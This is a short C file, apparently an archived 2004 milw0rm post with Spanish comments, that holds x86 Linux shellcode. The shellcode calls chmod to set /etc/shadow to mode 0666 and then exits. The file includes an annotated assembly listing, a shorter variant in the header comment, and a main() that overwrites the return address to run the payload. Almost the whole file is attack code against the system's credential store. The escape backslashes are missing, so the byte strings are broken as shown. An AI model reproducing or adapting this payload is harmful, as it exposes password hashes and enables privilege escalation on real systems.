/*
* [email protected]
* 0x04abril0x7d2
*
* int sys_chmod(const char * filename, mode_t mode)
* {...}
*
* Utilizando la interrupcion 15(chmod), asignando el octal 0666
* al archivo deseado. En este caso /etc/shadow
*
* Hice unas modificaciones en el codigo y solo pude reducir la shellcode en 1.
* por el codigo mailme.
* "x31xdbx68x64x6fx77x53x68x2fx73x68x61x68x2fx65"
* "x74x63x89xe3x31xc9x88x4cx24x0bx66xb9xb6x01x31"
* "xc0xb0x0fxcdx80x31xc0x40xcdx80";
*
*/
#include <stdio.h>
// Shellcode // Asm Code // Main Interval
char shellcode[]=
"xebx17" // jmp 0x17 [3 ; 4]
"x5e" // popl %esia [5]
"x31xc9" // xorl %ecx, %ecx [6 ; 7]
"x88x4ex0b" // movb %ecx, 0xb(%esi) [8; 10]
"x8dx1e" // leal (%esi), %ebx [11;12]
"x66xb9xb6x01" // movw $0x1b6, %cx // asigno a cx el equivalente en hex al octal 0666
"x31xc0" // xorl %eax, %eax [17;18]
"xb0x0f" // movb $0xf, %al // Interrupcion 15 (chmod)
"xcdx80" // int $0x80 [21;22]
"x31xc0" // xorl %eax, %eax // salida
"x40" // inc %eax [25]
"xcdx80" // int $0x80 [26;27]
"xe8xe4xffxffxff" // call -0x1c
"/etc/shadow";
main() {
int *ret;
ret=(int *)&ret+2;
printf("Shellcode lenght=%dn",strlen(shellcode));
(*ret) = (int)shellcode;
}
// milw0rm.com [2004-09-26]